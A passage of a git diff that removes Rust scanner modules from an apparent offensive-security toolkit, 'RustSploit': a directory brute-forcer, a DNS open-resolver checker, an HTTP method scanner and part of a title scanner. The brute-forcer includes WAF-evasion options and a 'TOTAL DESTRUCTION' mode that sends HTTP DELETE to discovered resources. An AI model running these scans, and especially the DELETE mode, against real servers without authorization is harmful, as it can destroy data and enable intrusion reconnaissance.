PUT, HEAD, OPTIONS...) - Noisy!"); - println!("3. TOTAL DESTRUCTION (Level 2 + DELETE) - DANGEROUS"); - - let mode_str = prompt_default("Mode", "1")?; - let scan_mode = match mode_str.as_str() { - "3" => { - println!("\n{}", "!!! CRITICAL WARNING !!!".on_red().white().bold()); - println!("{}", "You have selected TOTAL DESTRUCTION mode.".red().bold()); - println!("This will attempt HTTP DELETE method on discovered resources."); - println!("This can PERMANENTLY DESTROY data on the target server."); - let confirm = prompt_required("Type 'DESTROY' to confirm")?; - if confirm != "DESTROY" { - println!("{}", "Confirmation failed. Reverting to Standard Mode.".yellow()); - 1 - } else { - 3 - } - }, - "2" => { - println!("\n{}", "[!] Warning: Nuke Mode sends multiple requests per path.".yellow()); - if prompt_yes_no("Continue?", true)? { 2 } else { 1 } - }, - _ => 1 - }; - - // 3. Wordlist - let wordlist = prompt_wordlist("Wordlist path")?; - - // 4. Performance - let concurrency: usize = prompt_default("Concurrency (Threads)", "10")?.parse().unwrap_or(10); - let delay_ms: u64 = prompt_default("Delay per request (ms)", "200")?.parse().unwrap_or(200); - - // 5. Evasion - let random_agent = prompt_yes_no("Use Random User-Agents?", false)?; - - let custom_cookies = if prompt_yes_no("Configure Custom Cookies (WAF/Cloudflare)?", false)? { - println!("{}", "Enter cookie string (e.g. 'cf_clearance=XXX; _cfduid=YYY')".dimmed()); - Some(prompt_required("Cookies")?) - } else { - None - }; - - // 6. Reporting - let verbose = prompt_yes_no("Verbose Output (show 403s)?", false)?; - - Ok(DirBruteConfig { - target_host: host, - protocol: proto, - port, - base_path: path, - wordlist_path: wordlist, - scan_mode, - concurrency, - delay_ms, - random_agent, - custom_cookies, - verbose, - }) -} - -// Interactive target parser logic -async fn parse_target_interactive(raw: &str) -> Result<(String, String, u16, String)> { - // Basic normalization from utils - let resolved_ip = if raw.is_empty() { - prompt_required("Target Host/IP")? - } else { - let normalized = normalize_target(raw)?; - // strip port if present in normalized, we ask for it separately to allow http/https logic - if let Some((host, _)) = normalized.split_once(':') { - host.to_string() - } else { - normalized - } - }; - - let use_https = prompt_yes_no("Use HTTPS?", true)?; - let proto = if use_https { "https".to_string() } else { "http".to_string() }; - - let def_port = if use_https { "443" } else { "80" }; - let port: u16 = prompt_default(&format!("Port (default {})", def_port), def_port)? - .parse() - .context("Invalid port")?; - - let path_input = prompt_default("Base Path (must end with /)", "/")?; - - // Slash check logic - let path = if !path_input.ends_with('/') { - if prompt_yes_no("Path does not end with '/'. Append it?", true)? { - format!("{}/", path_input) - } else { - if !prompt_yes_no("Continue without trailing slash? (May break scanning)", false)? { - return Err(anyhow!("Aborted by user due to path format.")); - } - path_input - } - } else { - path_input - }; - - Ok((proto, resolved_ip, port, path)) -} - -// --- Persistence --- - -async fn save_template(config: &DirBruteConfig) -> Result<()> { - let name = prompt_default("Template Name (e.g. 'myscan.json')", "scan_template.json")?; - let json = serde_json::to_string_pretty(config)?; - fs::write(&name, json).context("Failed to write template file")?; - println!("Saved config to {}", name); - Ok(()) -} - -async fn load_template() -> Result { - let path = prompt_existing_file("Template File Path")?; - let content = fs::read_to_string(&path)?; - let config: DirBruteConfig = serde_json::from_str(&content).context("Invalid template format")?; - - println!("{}", "Loaded Configuration:".green()); - println!("Target: {}://{}:{}{}", config.protocol, config.target_host, config.port, config.base_path); - println!("Mode: Level {}", config.scan_mode); - println!("Wordlist: {}", config.wordlist_path); - - if !prompt_yes_no("Run this configuration?", true)? { - return Err(anyhow!("User cancelled after loading template.")); - } - - Ok(config) -} - -// --- Execution Engine --- - -struct ScanResult { - path: String, - method: String, - status: u16, - len: u64, -} - -async fn execute_scan(config: DirBruteConfig) -> Result<()> { - let lines = load_lines(&config.wordlist_path)?; - let total = lines.len(); - println!("\n{}", format!("Loaded {} words. Starting scan...", total).blue().bold()); - - let base_url = format!("{}://{}:{}{}", config.protocol, config.target_host, config.port, config.base_path); - - // Build Client - let mut headers = header::HeaderMap::new(); - if let Some(cookies) = &config.custom_cookies { - headers.insert(header::COOKIE, cookies.parse().context("Invalid cookie string")?); - } - - let client = Client::builder() - .default_headers(headers) - .danger_accept_invalid_certs(true) - .timeout(Duration::from_secs(10)) - .build()?; - - let sem = Arc::new(Semaphore::new(config.concurrency)); - let results_mutex = Arc::new(tokio::sync::Mutex::new(Vec::new())); - let forbidden_count = Arc::new(AtomicUsize::new(0)); - - let methods = get_methods_for_mode(config.scan_mode); - let delay = Duration::from_millis(config.delay_ms); - - println!("{}", format!("Target Base: {}", base_url).cyan()); - println!("{}", "Press Ctrl+C to stop (handler not implemented, so just wait)".dimmed()); - println!("{}", "---------------------------------------------------"); - - let mut tasks = Vec::new(); - - for word in lines { - let sem = Arc::clone(&sem); - let client = client.clone(); - let base = base_url.clone(); - let r_mutex = Arc::clone(&results_mutex); - let f_count = Arc::clone(&forbidden_count); - let methods = methods.clone(); - - let config_verbose = config.verbose; - let random_agent = config.random_agent; - - let task: tokio::task::JoinHandle> = tokio::spawn(async move { - let _permit = sem.acquire().await.context("Semaphore acquisition failed")?; - - // Apply delay - if delay.as_millis() > 0 { - tokio::time::sleep(delay).await; - } - - let url = format!("{}{}", base, word); - - for method in methods { - let mut req_builder = client.request(method.clone(), &url); - - if random_agent { - let agent = USER_AGENTS.choose(&mut rand::rng()).unwrap_or(&"RustSploit"); - req_builder = req_builder.header(header::USER_AGENT, *agent); - } else { - req_builder = req_builder.header(header::USER_AGENT, "RustSploit/0.3"); - } - - match req_builder.send().await { - Ok(resp) => { - let status = resp.status().as_u16(); - let len = resp.content_length().unwrap_or(0); - - // Special handling for 403 Forbidden - if status == 403 { - f_count.fetch_add(1, Ordering::Relaxed); - if !config_verbose { - continue; // Skip printing if not verbose - } - } - - // Determine if "Interesting" - if COMMON_STATUS_CODES.contains(&status) { - let method_str = method.as_str(); - - // Enhanced Color Logic - let status_display = if status >= 200 && status < 300 { - format!("{} {}", "[FOUND]".green().bold(), status.to_string().green()) - } else if status >= 300 && status < 400 { - format!("{} {}", "[REDIR]".blue().bold(), status.to_string().blue()) - } else if status >= 500 { - format!("{} {}", "[ERROR]".red().bold(), status.to_string().red()) - } else if status == 403 || status == 401 { - format!("{} {}", "[AUTH]".yellow().bold(), status.to_string().yellow()) - } else { - format!("[{}]", status).white().to_string() - }; - - println!("{} Size: {} | Method: {} | {}", - status_display, - len.to_string().dimmed(), - method_str.bold(), - url - ); - - let res = ScanResult { - path: url.clone(), - method: method.to_string(), - status, - len, - }; - r_mutex.lock().await.push(res); - } - } - Err(_) => {} - } - } - Ok(()) - }); - tasks.push(task); - } - - // Await all - for t in tasks { - let _ = t.await; - } - - println!("\n{}", "Scan Complete.".green().bold()); - - // 403 Summary - let f_total = forbidden_count.load(Ordering::Relaxed); - if f_total > 0 && !config.verbose { - println!("{}", format!("[*] Aggregated {} '403 Forbidden' responses. (Use verbose mode to see them)", f_total).yellow()); - } - - // Report & Save - let final_results = results_mutex.lock().await; - if !final_results.is_empty() && prompt_yes_no("Save results to file?", true)? { - let sort_choice = prompt_default("Sort by (1) Status or (2) Size", "1")?; - - let mut sorted: Vec<&ScanResult> = final_results.iter().collect(); - if sort_choice == "2" { - sorted.sort_by(|a, b| b.len.cmp(&a.len)); // Size desc - } else { - sorted.sort_by(|a, b| a.status.cmp(&b.status)); // Status asc - } - - let filename = format!("scan_results_{}.txt", chrono::Local::now().format("%Y%m%d_%H%M%S")); - let mut file_content = String::new(); - for r in sorted { - use std::fmt::Write; - writeln!(file_content, "[{}] {} | Size: {} | Method: {} | {}", - r.status, get_status_text(r.status), r.len, r.method, r.path).context("Failed to write to buffer")?; - } - - fs::write(&filename, file_content)?; - println!("Results saved to {}", filename.green()); - } - - Ok(()) -} - -fn get_methods_for_mode(mode: u8) -> Vec { - match mode { - 3 => vec![ - Method::GET, Method::POST, Method::PUT, Method::DELETE, - Method::HEAD, Method::OPTIONS, Method::PATCH, Method::TRACE, - Method::CONNECT - ], - 2 => vec![ - Method::GET, Method::POST, Method::PUT, - Method::HEAD, Method::OPTIONS, Method::PATCH, Method::TRACE, - Method::CONNECT - ], - _ => vec![Method::GET], // Level 1 - } -} - -fn get_status_text(code: u16) -> &'static str { - match code { - 200 => "OK", - 201 => "Created", - 204 => "No Content", - 301 => "Moved Permanently", - 302 => "Found", - 307 => "Temporary Redirect", - 401 => "Unauthorized", - 403 => "Forbidden", - 404 => "Not Found", - 405 => "Method Not Allowed", - 421 => "Misdirected Request", - 500 => "Internal Server Error", - _ => "", - } -} diff --git a/src/modules/scanners/dns_recursion.rs b/src/modules/scanners/dns_recursion.rs deleted file mode 100644 index 79562b4..0000000 --- a/src/modules/scanners/dns_recursion.rs +++ /dev/null @@ -1,307 +0,0 @@ -use anyhow::{anyhow, Context, Result}; -use colored::*; - -use std::net::{IpAddr, SocketAddr, ToSocketAddrs}; -use tokio::time::{timeout, Duration}; -use crate::utils::{ - prompt_default, prompt_port, -}; - -use hickory_client::client::{Client, ClientHandle}; -use hickory_proto::op::ResponseCode; -use hickory_proto::rr::{DNSClass, Name, RecordType}; -use hickory_proto::udp::UdpClientStream; -use hickory_proto::runtime::TokioRuntimeProvider; -use hickory_proto::op::Message; -use hickory_proto::xfer::DnsResponse; - -#[derive(Clone, Debug)] -struct TargetSpec { - input: String, - host: String, - port: Option, -} - -fn display_banner() { - println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan()); - println!("{}", "║ DNS Recursion & Amplification Scanner ║".cyan()); - println!("{}", "║ Detects open resolvers that may be abused for DoS attacks ║".cyan()); - println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan()); - println!(); -} - -/// Scan DNS resolvers for open recursion with improved input validation. -pub async fn run(initial_target: &str) -> Result<()> { - display_banner(); - - let mut targets = vec![ - TargetSpec { - input: initial_target.to_string(), - host: initial_target.to_string(), - port: None, - } - ]; - - let needs_default_port = targets.iter().any(|t| t.port.is_none()); - let default_port = if needs_default_port { - prompt_port("Default DNS port", 53)? - } else { - 53 - }; - - let query_name_input = prompt_default("Domain to query", "google.com")?; - let query_name = validate_domain_input(&query_name_input)?; - - let record_input = - prompt_default("Record type (A, AAAA, ANY, DNSKEY, TXT, MX)", "ANY")?; - let record_type = parse_record_type(&record_input)?; - - println!( - "[*] Prepared {} query for {} across {} target(s)", - record_type, - query_name, - targets.len() - ); - - let name = Name::from_str_relaxed(&query_name) - .with_context(|| format!("Invalid domain name '{}'", query_name))?; - - let mut any_success = false; - let mut last_error: Option = None; - let mut vulnerable_count = 0usize; - let mut tested_count = 0usize; - let start_time = std::time::Instant::now(); - - println!(); - - for spec in targets.drain(..) { - let port = spec.port.unwrap_or(default_port); - let display = format_endpoint(&spec.host, port); - println!( - "\n[*] Processing target {} (input: {})", - display.cyan(), - spec.input - ); - - tested_count += 1; - - match resolve_target(&spec.host, port).await { - Ok((socket_addr, resolved_display)) => { - println!("{}", format!("[*] Target resolver: {}", resolved_display).cyan()); - match query_target(socket_addr, &resolved_display, &name, record_type, &mut vulnerable_count).await { - Ok(()) => any_success = true, - Err(err) => { - eprintln!( - "{}", - format!("[!] Query failed for {}: {}", resolved_display, err).red() - ); - last_error = Some(err); - } - } - } - Err(err) => { - eprintln!( - "{}", - format!("[!] Failed to resolve {}: {}", spec.input, err).red() - ); - last_error = Some(err); - } - } - } - - let elapsed = start_time.elapsed(); - - // Print statistics - println!(); - println!("{}", "=== Scan Statistics ===".bold()); - println!(" Targets tested: {}", tested_count); - println!(" Vulnerable (open): {}", if vulnerable_count > 0 { - vulnerable_count.to_string().red().bold().to_string() - } else { - "0".green().to_string() - }); - println!(" Duration: {:.2}s", elapsed.as_secs_f64()); - - if vulnerable_count > 0 { - println!(); - println!("{}", "[!] WARNING: Open recursive DNS resolvers detected!".red().bold()); - println!("{}", " These can be abused for DNS amplification attacks.".yellow()); - } - - if any_success { - Ok(()) - } else { - Err(last_error.unwrap_or_else(|| anyhow!("All targets failed."))) - } -} - -async fn query_target( - socket_addr: SocketAddr, - display_target: &str, - name: &Name, - record_type: RecordType, - vulnerable_count: &mut usize, -) -> Result<()> { - println!( - "[*] Sending {} query (timeout 5s) to {}", - record_type, display_target - ); - - let stream = UdpClientStream::builder(socket_addr, TokioRuntimeProvider::new()) - .build(); - - let (mut client, bg) = - Client::connect(stream).await.context("Failed to initiate DNS client")?; - tokio::spawn(bg); - - let response: DnsResponse = timeout( - Duration::from_secs(5), - client.query(name.clone(), DNSClass::IN, record_type), - ) - .await - .context("DNS query timed out")? - .with_context(|| format!("DNS query to {} failed", display_target))?; - - let (message, _) = response.into_parts(); - let is_vulnerable = report_result(&message, display_target, record_type); - - if is_vulnerable { - *vulnerable_count += 1; - } - - Ok(()) -} - -fn report_result(message: &Message, display_target: &str, record_type: RecordType) -> bool { - let recursion_available = message.recursion_available(); - let recursion_desired = message.recursion_desired(); - let authoritative = message.authoritative(); - let truncated = message.truncated(); - let rcode = message.response_code(); - - println!(); - println!( - "{}", - format!( - "[*] Response code: {:?} | Answers: {} | Authority: {} | Additional: {}", - rcode, - message.answers().len(), - message.name_servers().len(), - message.additionals().len() - ).dimmed() - ); - - if truncated { - println!("{}", "[!] Response was truncated (TC flag set).".yellow()); - } - - println!( - "{}", - format!("[*] Flags: RD={} RA={} AA={}", recursion_desired, recursion_available, authoritative).dimmed() - ); - - if recursion_available && rcode != ResponseCode::Refused { - println!( - "{}", - format!( - "[+] {} appears to allow recursion (RA flag set) for {} {} queries.", - display_target, - record_type, - if authoritative { "(authoritative data returned)" } else { "" } - ) - .green() - .bold() - ); - println!( - "{}", - " This resolver may be abused for reflection/amplification attacks (ANY/DNSSEC)." - .yellow() - ); - true - } else if recursion_available && rcode == ResponseCode::Refused { - println!( - "{}", - format!( - "[-] {} reports recursion available but refused the request (likely ACL protected).", - display_target - ) - .yellow() - ); - false - } else { - println!( - "{}", - format!( - "[-] {} does not appear to allow recursion (RA flag unset or query refused).", - display_target - ) - .dimmed() - ); - false - } -} - -fn parse_record_type(input: &str) -> Result { - match input.trim().to_uppercase().as_str() { - "A" => Ok(RecordType::A), - "AAAA" => Ok(RecordType::AAAA), - "ANY" => Ok(RecordType::ANY), - "DNSKEY" => Ok(RecordType::DNSKEY), - "TXT" => Ok(RecordType::TXT), - "MX" => Ok(RecordType::MX), - other => Err(anyhow!("Unsupported record type '{}'", other)), - } -} - -async fn resolve_target(host: &str, port: u16) -> Result<(SocketAddr, String)> { - if let Ok(ip) = host.parse::() { - let addr = SocketAddr::new(ip, port); - return Ok((addr, format_endpoint(host, port))); - } - - let mut addrs_iter = (host, port) - .to_socket_addrs() - .with_context(|| format!("Unable to resolve '{}:{}'", host, port))?; - let addr = addrs_iter - .next() - .ok_or_else(|| anyhow!("No socket addresses resolved for '{}:{}'", host, port))?; - Ok((addr, addr.to_string())) -} - -// random_test_domain removed per request - -// Unused local functions removed - -fn format_endpoint(host: &str, port: u16) -> String { - match host.parse::() { - Ok(IpAddr::V6(_)) => format!("[{}]:{}", host, port), - _ => format!("{}:{}", host, port), - } -} - -fn validate_domain_input(input: &str) -> Result { - let trimmed = input.trim(); - if trimmed.is_empty() { - return Err(anyhow!("Domain cannot be empty")); - } - if trimmed.len() > 253 { - return Err(anyhow!( - "Domain '{}' is too long (maximum 253 characters)", - trimmed - )); - } - let without_dot = trimmed.trim_end_matches('.'); - if without_dot.is_empty() { - return Err(anyhow!("Domain cannot be empty")); - } - if without_dot - .chars() - .any(|c| !(c.is_ascii_alphanumeric() || c == '.' || c == '-' || c == '_')) - { - return Err(anyhow!( - "Domain '{}' contains invalid characters. Allowed: A-Z, 0-9, '-', '_', '.'", - trimmed - )); - } - Ok(without_dot.to_lowercase()) -} \ No newline at end of file diff --git a/src/modules/scanners/http_method_scanner.rs b/src/modules/scanners/http_method_scanner.rs deleted file mode 100644 index a98b901..0000000 --- a/src/modules/scanners/http_method_scanner.rs +++ /dev/null @@ -1,395 +0,0 @@ -use anyhow::{anyhow, Context, Result}; -use chrono::Utc; -use colored::*; -use reqwest::{Client, Method, StatusCode, Url}; -use std::collections::HashSet; -use std::fs; -use std::io::Write; - -use std::time::{Duration, Instant}; - -const METHODS: &[&str] = &[ - "GET", -"POST", -"HEAD", -"OPTIONS", -"PUT", -"DELETE", -"PATCH", -"TRACE", -"CONNECT", -]; - -struct MethodResult { - method: &'static str, - status: Option, - ok: bool, - error: Option, - duration_ms: u128, -} - -struct TargetResult { - target: String, - results: Vec, -} - -pub async fn run(initial_target: &str) -> Result<()> { - banner(); - - let mut targets = collect_initial_targets(initial_target); - - let additional = prompt("Enter additional comma-separated targets (optional): ")?; - if !additional.is_empty() { - targets.extend(split_targets(&additional)); - } - - let file_path = prompt("Path to file with targets (optional): ")?; - if !file_path.is_empty() { - let file_targets = load_targets_from_file(&file_path)?; - targets.extend(file_targets); - } - - let default_scheme_input = prompt("Preferred scheme (http/https, default https): ")?; - let default_scheme = match default_scheme_input.to_lowercase().as_str() { - "http" => "http", - _ => "https", - }; - - let use_ports = prompt_bool( - "Test via specific ports (port tunneling)? (yes/no, default no): ", - false, - )?; - let ports = if use_ports { - prompt_ports()? - } else { - Vec::new() - }; - - let timeout_input = prompt("Request timeout in seconds (default 10): ")?; - let timeout_secs: u64 = timeout_input - .parse() - .ok() - .filter(|val| *val > 0) - .unwrap_or(10); - - let verbose = prompt_bool("Enable verbose output? (yes/no, default no): ", false)?; - let save_output = prompt_bool("Save results to file? (yes/no, default yes): ", true)?; - - let mut normalized = normalize_targets(targets, default_scheme); - if !ports.is_empty() { - let expanded = expand_targets_with_ports(&normalized, &ports); - if expanded.is_empty() { - println!("[!] No valid port combinations derived; continuing without port tunneling."); - } else { - normalized = expanded; - } - } - if normalized.is_empty() { - return Err(anyhow!("No valid targets provided")); - } - normalized.sort(); - - let client = Client::builder() - .user_agent("RustSploit-HTTP-Method-Scanner/1.0") - .timeout(Duration::from_secs(timeout_secs)) - .redirect(reqwest::redirect::Policy::limited(5)) - .build() - .context("Failed to build HTTP client")?; - - let mut all_results = Vec::new(); - let mut total_success = 0usize; - let mut total_errors = 0usize; - let start_time = Instant::now(); - - println!("{}", format!("[*] Scanning {} target(s) with {} methods each...", - normalized.len(), METHODS.len()).cyan().bold()); - - for target in &normalized { - println!("\n{}", format!("=== Target: {} ===", target).bold()); - let mut method_results = Vec::new(); - - for &method_name in METHODS { - let method = Method::from_bytes(method_name.as_bytes()).unwrap_or(Method::GET); - let body = match method_name { - "POST" | "PUT" | "PATCH" => Some("RustSploit HTTP method scanner test".to_string()), - _ => None, - }; - - let start = std::time::Instant::now(); - let response = if let Some(ref payload) = body { - client - .request(method.clone(), target) - .body(payload.clone()) - .send() - .await - } else { - client.request(method.clone(), target).send().await - }; - let elapsed = start.elapsed(); - - match response { - Ok(resp) => { - let status = resp.status(); - let ok = status.is_success(); - if ok { - total_success += 1; - if verbose { - println!("{}", format!(" [{}] {} -> {} ({:.2?})", method_name, target, status, elapsed).green()); - } else { - println!("{}", format!(" [{}] {}", method_name, status).green()); - } - } else { - if verbose { - println!("{}", format!(" [{}] {} -> {} ({:.2?})", method_name, target, status, elapsed).yellow()); - } else { - println!("{}", format!(" [{}] {}", method_name, status).yellow()); - } - } - method_results.push(MethodResult { - method: method_name, - status: Some(status), - ok, - error: None, - duration_ms: elapsed.as_millis(), - }); - } - Err(err) => { - total_errors += 1; - if verbose { - println!("{}", format!(" [{}] {} -> error: {} ({:.2?})", method_name, target, err, elapsed).red()); - } else { - println!("{}", format!(" [{}] error: {}", method_name, err).red()); - } - method_results.push(MethodResult { - method: method_name, - status: None, - ok: false, - error: Some(err.to_string()), - duration_ms: elapsed.as_millis(), - }); - } - } - } - - all_results.push(TargetResult { - target: target.clone(), - results: method_results, - }); - } - - let total_elapsed = start_time.elapsed(); - let total_requests = normalized.len() * METHODS.len(); - - // Print statistics - println!(); - println!("{}", "=== Scan Statistics ===".bold()); - println!(" Targets: {}", normalized.len()); - println!(" Methods tested: {}", METHODS.len()); - println!(" Total requests: {}", total_requests); - println!(" Successful: {}", total_success.to_string().green()); - println!(" Errors: {}", total_errors.to_string().red()); - println!(" Duration: {:.2}s", total_elapsed.as_secs_f64()); - if total_elapsed.as_secs() > 0 { - println!(" Rate: {:.1} requests/s", total_requests as f64 / total_elapsed.as_secs_f64()); - } - - if save_output { - let default_name = format!( - "http_method_scan_{}.txt", - Utc::now().format("%Y%m%d_%H%M%S") - ); - let output_path = prompt_with_default( - "Enter output file path (press Enter for default): ", - &default_name, - )?; - write_report(&output_path, &all_results)?; - println!("[*] Results saved to {}", output_path); - } - - println!("\n[*] Scan complete."); - Ok(()) -} - -fn banner() { - println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan()); - println!("{}", "║ HTTP Method Capability Scanner ║".cyan()); - println!("{}", "║ Checks support for common HTTP verbs (GET, POST, etc.) ║".cyan()); - println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan()); - println!(); -} - -fn collect_initial_targets(initial_target: &str) -> Vec { - let mut targets = Vec::new(); - let trimmed = initial_target.trim(); - if !trimmed.is_empty() && trimmed != "http_method_scanner" { - targets.extend(split_targets(trimmed)); - } - targets -} - -fn split_targets(input: &str) -> Vec { - input - .split(|c| c == ',' || c == '\n' || c == ';') - .map(|item| item.trim().trim_end_matches('/').to_string()) - .filter(|item| !item.is_empty()) - .collect() -} - -fn load_targets_from_file(path: &str) -> Result> { - let data = fs::read_to_string(path) - .with_context(|| format!("Failed to read target file: {}", path))?; - Ok(split_targets(&data)) -} - -fn normalize_targets(targets: Vec, default_scheme: &str) -> Vec { - let mut unique = HashSet::new(); - let mut normalized = Vec::new(); - - for raw in targets { - let target = raw.trim(); - if target.is_empty() { - continue; - } - let formatted = if target.starts_with("http://") - || target.starts_with("https://") - || target.contains("://") - { - target.to_string() - } else { - format!("{}://{}", default_scheme, target) - }; - if unique.insert(formatted.clone()) { - normalized.push(formatted); - } - } - - normalized -} - -fn expand_targets_with_ports(targets: &[String], ports: &[u16]) -> Vec { - let mut expanded = Vec::new(); - let mut seen = HashSet::new(); - - for target in targets { - if let Ok(mut url) = Url::parse(target) { - for port in ports { - if url.set_port(Some(*port)).is_ok() { - let final_url = url.to_string(); - if seen.insert(final_url.clone()) { - expanded.push(final_url); - } - } - } - } else { - for port in ports { - let final_url = format!("{}:{}", target, port); - if seen.insert(final_url.clone()) { - expanded.push(final_url); - } - } - } - } - - expanded -} - -fn prompt(message: &str) -> Result { - print!("{}", message); - std::io::stdout() - .flush() - .context("Failed to flush stdout")?; - let mut input = String::new(); - std::io::stdin() - .read_line(&mut input) - .context("Failed to read user input")?; - Ok(input.trim().to_string()) -} - -fn prompt_bool(message: &str, default: bool) -> Result { - let default_text = if default { "yes" } else { "no" }; - let input = prompt(message)?; - if input.is_empty() { - return Ok(default); - } - match input.to_lowercase().as_str() { - "y" | "yes" | "true" => Ok(true), - "n" | "no" | "false" => Ok(false), - _ => { - println!("[!] Invalid input, using default ({})", default_text); - Ok(default) - } - } -} - -fn prompt_with_default(message: &str, default: &str) -> Result { - let input = prompt(message)?; - if input.is_empty() { - Ok(default.to_string()) - } else { - Ok(input) - } -} - -fn prompt_ports() -> Result> { - let input = prompt( - "Enter port(s) to tunnel through (comma-separated, e.g., 80,8080; leave blank to skip): ", - )?; - if input.is_empty() { - println!("[!] No ports provided; skipping port tunneling."); - return Ok(Vec::new()); - } - - let mut ports = Vec::new(); - let mut seen = HashSet::new(); - for part in input.split(|c| c == ',' || c == ';' || c == ' ') { - let trimmed = part.trim(); - if trimmed.is_empty() { - continue; - } - match trimmed.parse::() { - Ok(port) => { - if seen.insert(port) { - ports.push(port); - } - } - Err(_) => println!("[!] Skipping invalid port '{}'.", trimmed), - } - } - - if ports.is_empty() { - println!("[!] No valid ports parsed; skipping port tunneling."); - } - - Ok(ports) -} - -fn write_report(path: &str, results: &[TargetResult]) -> Result<()> { - let mut lines = Vec::new(); - lines.push("HTTP Method Scanner Report".to_string()); - lines.push(format!("Generated at: {}", Utc::now())); - lines.push(String::new()); - - for target in results { - lines.push(format!("Target: {}", target.target)); - for method in &target.results { - if let Some(status) = method.status { - lines.push(format!( - " - {:<7} status: {:<5} success: {:<5} time: {} ms", - method.method, - status.as_u16(), - method.ok, - method.duration_ms - )); - } else if let Some(ref error) = method.error { - lines.push(format!( - " - {:<7} error: {} time: {} ms", - method.method, error, method.duration_ms - )); - } - } - lines.push(String::new()); - } - - fs::write(path, lines.join("\n")) - .with_context(|| format!("Failed to write report to {}", path)) -} diff --git a/src/modules/scanners/http_title_scanner.rs b/src/modules/scanners/http_title_scanner.rs deleted file mode 100644 index dfee2b5..0000000 --- a/src/modules/scanners/http_title_scanner.rs +++ /dev/null @@ -1,412 +0,0 @@ -use anyhow::{anyhow, Context, Result}; -use chrono::Utc; -use colored::*; -use regex::Regex; -use reqwest::{Client, StatusCode, Url}; -use std::collections::HashSet; -use std::fs; -use std::io::Write; - -use std::time::{Duration, Instant}; - -pub async fn run(initial_target: &str) -> Result<()> { - banner(); - - let mut targets = collect_initial_targets(initial_target); - - let additional = prompt("Enter additional comma-separated targets (optional): ")?; - if !additional.is_empty() { - targets.extend(split_targets(&additional)); - } - - let file_path = prompt("Path to file with targets (optional): ")?; - if !file_path.is_empty() { - let file_targets = load_targets_from_file(&file_path)?; - targets.extend(file_targets); - } - - let check_http = prompt_bool("Check HTTP (http://)? (yes/no, default yes): ", true)?; - let check_https = prompt_bool("Check HTTPS (https://)? (yes/no, default yes): ", true)?; - - if !check_http && !check_https { - println!("[!] Neither HTTP nor HTTPS selected; nothing to scan."); - return Ok(()); - } - - let use_ports = prompt_bool( - "Test via specific ports (port tunneling)? (yes/no, default no): ", - false, - )?; - let ports = if use_ports { - prompt_ports()? - } else { - Vec::new() - }; - - let timeout_secs = prompt_timeout()?; - let save_output = prompt_bool("Save results to file? (yes/no, default yes): ", true)?; - let verbose = prompt_bool("Enable verbose output? (yes/no, default no): ", false)?; - - let mut normalized = normalize_targets(targets, check_http, check_https); - if !ports.is_empty() { - let expanded = expand_targets_with_ports(&normalized, &ports); - if expanded.is_empty() { - println!("[!] No valid port combinations derived; continuing without port tunneling."); - } else { - normalized = expanded; - } - } - if normalized.is_empty() { - return Err(anyhow!("No valid targets provided")); - } - normalized.sort(); - - let client = Client::builder() - .user_agent("RustSploit-HTTP-Title-Scanner/1.0") - .timeout(Duration::from_secs(timeout_secs)) - .redirect(reqwest::redirect::Policy::limited(5)) - .build() - .context("Failed to build HTTP client")?; - - let title_re = Regex::new(r"(?is)]*>(.*?)")?; - let mut all_results = Vec::new(); - let mut success_count = 0usize; - let mut error_count = 0usize; - let start_time = Instant::now(); - let total_targets = normalized.len(); - - println!("{}", format!("[*] Scanning {} target(s)...", total_targets).cyan().bold()); - println!(); - - for (idx, url) in normalized.iter().enumerate() { - // Progress indicator - if (idx + 1) % 10 == 0 || idx + 1 == total_targets { - print!("\r{}", format!("[*] Progress: {}/{} ({:.0}%)", - idx + 1, total_targets, ((idx + 1) as f64 / total_targets as f64) * 100.0).dimmed()); - let _ = std::io::Write::flush(&mut std::io::stdout()); - } - - match fetch_title(&client, url, &title_re).await { - Ok(result) => { - if let Some(title) = &result.title { - println!("\r{}", format!("[+] {} -> {}", url, title).green()); - success_count += 1; - } else if let Some(status) = result.status { - if status.is_success() { - println!("\r{}", format!("[+] {} -> (status: {})", url, status).green()); - success_count += 1; - } else { - println!("\r{}", format!("[~] {} -> (status: {})", url, status).yellow()); - } - } else { - println!("\r{}", format!("[~] {} -> ", url).yellow()); - } - if verbose { - if let Some(status) = result.status { - println!(" Status: {}", status); - } - println!(" Duration: {} ms", result.duration_ms); - } - all_results.push(result); - } - Err(err) => { - println!("\r{}", format!("[-] {} -> error: {}", url, err).red()); - error_count += 1; - all_results.push(TitleResult { - url: url.clone(), - status: None, - title: None, - error: Some(err.to_string()), - duration_ms: 0, - }); - } - } - } - - let elapsed = start_time.elapsed(); - - // Print statistics - println!(); - println!("{}", "=== Scan Statistics ===".bold()); - println!(" Total scanned: {}", total_targets); - println!(" Successful: {}", success_count.to_string().green()); - println!(" Errors: {}", error_count.to_string().red()); - println!(" Duration: {:.2}s", elapsed.as_secs_f64()); - if elapsed.as_secs() > 0 { - println!(" Rate: {:.1} requests/s", total_targets as f64 / elapsed.as_secs_f64()); - } - - if save_output { - let default_name = format!( - "http_title_scan_{}.txt", - Utc::now().format("%Y%m%d_%H%M%S") - ); - let output_path = prompt_with_default( - "Enter output file path (press Enter for default): ", - &default_name, - )?; - write_report(&output_path, &all_results)?; - println!("[*] Results saved to {}", output_path); - } - - println!("\n[*] Scan complete."); - Ok(()) -} - -struct TitleResult { - url: String, - status: Option, - title: Option, - error: Option, - duration_ms: u128, -} - -impl TitleResult { - fn display_title(&self) -> String { - match (&self.title, &self.error) { - (Some(title), _) => title.clone(), - (None, Some(err)) => format!("error: {}", err), - (None, None) => "".to_string(), - } - } -} - -async fn fetch_title(client: &Client, url: &str, title_re: &Regex) -> Result { - let start = std::time::Instant::now(); - let response = client.get(url).send().await.context("Request failed")?; - let status = response.status(); - let text = match response.text().await { - Ok(t) => t, - Err(e) => { - return Err(anyhow!("Failed to read response body: {}", e)); - } - }; - let title = title_re - .captures(&text) - .and_then(|cap| cap.get(1)) - .map(|m| sanitize_title(m.as_str())); - let duration = start.elapsed().as_millis(); - - Ok(TitleResult { - url: url.to_string(), - status: Some(status), - title, - error: None, - duration_ms: duration, - }) -} - -fn sanitize_title(raw: &str) -> String { - raw - .lines() - .map(|line| line.trim()) - .filter(|line| !line.is_empty()) - .collect::>() - .join(" ") - .chars() - .take(200) - .collect() -} - -fn collect_initial_targets(initial_target: &str) -> Vec { - let mut targets = Vec::new(); - let trimmed = initial_target.trim(); - if !trimmed.is_empty() && trimmed 